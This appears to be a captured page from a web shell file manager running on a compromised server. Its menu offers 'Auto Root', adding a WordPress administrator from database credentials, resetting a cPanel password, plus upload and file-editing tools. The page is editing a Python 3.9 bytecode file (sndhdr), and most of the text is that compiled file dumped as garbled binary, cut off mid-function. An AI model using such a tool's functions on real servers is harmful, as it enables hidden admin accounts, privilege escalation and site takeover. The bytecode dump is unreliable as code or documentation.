Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib64
python3.9
__pycache__
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: sndhdr.cpython-39.pyc
a �i� � @ s2 d Z ddgZddlmZ edd�Zdej_ dej_ d ej_ d ej_ dej _ dd� Z d d� Zg Zdd� Z e�e � dd� Ze�e� dd� Ze�e� dd� Ze�e� dd� Ze�e� dd� Ze�e� dd� Ze�e� dd� Ze�e� dd� Zd d!� Zd"d#� Zd$d%� Zd&d'� Zd(d)� Zed*k�r.e� d+S ),a� Routines to help recognizing sound files. Function whathdr() recognizes various types of sound file headers. It understands almost all headers that SOX can decode. The return tuple contains the following items, in this order: - file type (as SOX understands it) - sampling rate (0 if unknown or hard to decode) - number of channels (0 if unknown or hard to decode) - number of frames in the file (-1 if unknown or hard to decode) - number of bits/sample, or 'U' for U-LAW, or 'A' for A-LAW If the file doesn't have a recognizable type, it returns None. If the file can't be opened, OSError is raised. To compute the total time, divide the number of frames by the sampling rate (a frame contains a sample for each channel). Function what() calls whathdr(). (It used to also use some heuristics for raw data, but this doesn't work very well.) Finally, the function test() is a simple main program that calls what() for all files mentioned on the argument list. For directory arguments it calls what() for all files in that directory. Default argument is "." (testing all files in the current directory). The option -r tells it to recurse down directories found inside explicitly given directories. �what�whathdr� )� namedtuple� SndHeadersz.filetype framerate nchannels nframes sampwidthz�The value for type indicates the data type and will be one of the strings 'aifc', 'aiff', 'au','hcom', 'sndr', 'sndt', 'voc', 'wav', '8svx', 'sb', 'ub', or 'ul'.zYThe sampling_rate will be either the actual value or 0 if unknown or difficult to decode.z^The number of channels or 0 if it cannot be determined or if the value is difficult to decode.z?The value for frames will be either the number of frames or -1.zAEither the sample size in bits or 'A' for A-LAW or 'U' for u-LAW.c C s t | �}|S )zGuess the type of a sound file.)r )�filename�res� r �/usr/lib64/python3.9/sndhdr.pyr 4 s c C sl t | d��N}|�d�}tD ],}|||�}|rt|� W d � S qW d � dS 1 s^0 Y dS )zRecognize sound headers.�rbi N)�open�read�testsr )r �f�hZtfr r r r r : s c C s� dd l }| �d�sd S | dd� dkr,d}n| dd� dkrBd}nd S |�d� z|�|d �}W n t|jfyz Y d S 0 ||�� |�� |�� d|� � fS ) Nr � FORM� � s AIFC�aifcs AIFFZaiff�r) r � startswith�seekr �EOFError�Error�getframerate�getnchannels� getnframes�getsampwidth)r r r �fmt�ar r r � test_aifcK s �r c C s� | � d�rt}n| d d� dv r&t}nd S d}|| dd� �}|| dd� �}|| dd� �}|| dd� �}|| dd � �}d } |d kr�d} n$|dkr�d} n|d kr�d} d} nd} | | }|r�|| }nd}||||| fS )Ns .snd� )s ds.s dns.Zaur r � � � � �U� � �?���)r �get_long_be�get_long_le) r r �func�filetypeZhdr_size� data_size�encoding�rate� nchannelsZsample_sizeZsample_bits� frame_sizeZnframer r r �test_au` s2 r3 c C sT | dd� dks | dd� dkr$d S t | dd� �}|rBd | }nd }d|dd dfS )N�A �E s FSSD� � s HCOM� � i"V r Zhcomr$ r) r )r* )r r Zdivisorr0 r r r � test_hcom� s r: c C st | � d�sd S t| dd� �}d}d| kr6dk rfn n,| | dkrfd| |d }|rftd | �}d |dddfS ) Ns Creative Voice Filer"